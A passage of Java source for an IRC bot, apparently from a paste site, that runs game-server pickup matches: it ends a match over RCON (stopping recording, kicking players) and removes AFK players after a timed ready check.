  759.         sub = false;
  760.         players.clear();
  761.         setTopic(players.toString());
  762.     }
  763.     public void endGather() {
  764.         rcon.send("tv_stoprecord");
  765.         rcon.send("sm_kick @all");
  766.         upload();
  767.         startReg();
  768.     }
  769.     void readyCheck() {
  770.         afks = new Players();
  771.         for (int i=0;i<players.size();i++)
  772.             if (players.get(i).afk())
  773.                 afks.add(players.get(i));
  774.         if (afks.isEmpty())
  775.             startGather();
  776.         else {
  777.             ready=true;
  778.             TimerTask removeAfks = new TimerTask() {
  779.                 public void run() {
  780.                     for (int i = 0;i<afks.size();i++)
  781.                         players.remove(afks.get(i).inick);
  782.                     setTopic(players.toString());
  783.                     ready=false;
  784.                 }
  785.             };
  786.             TimerTask notice = new TimerTask() {
  787.                 public void run() {
  788.                     sendNotice(chan,"2The following player(s) must type !ready in the next 60 seconds or be removed from the gather:");
  789.                 }
  790.             };
  791.             TimerTask plusN = new TimerTask() {
  792.                 public void run() {
  793.                     setMode(chan,"+N");
  794.                     msg("14" + afks.getString());
  795.                 }
  796.             };
  797.             afk = new Timer();
  798.             afk.schedule(removeAfks, 60000);
  799.             setMode(chan,"-N");
  800.             new Timer().schedule(notice,1000);
  801.             new Timer().schedule(plusN,2000);
  802.         }
  803.     }
  804. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement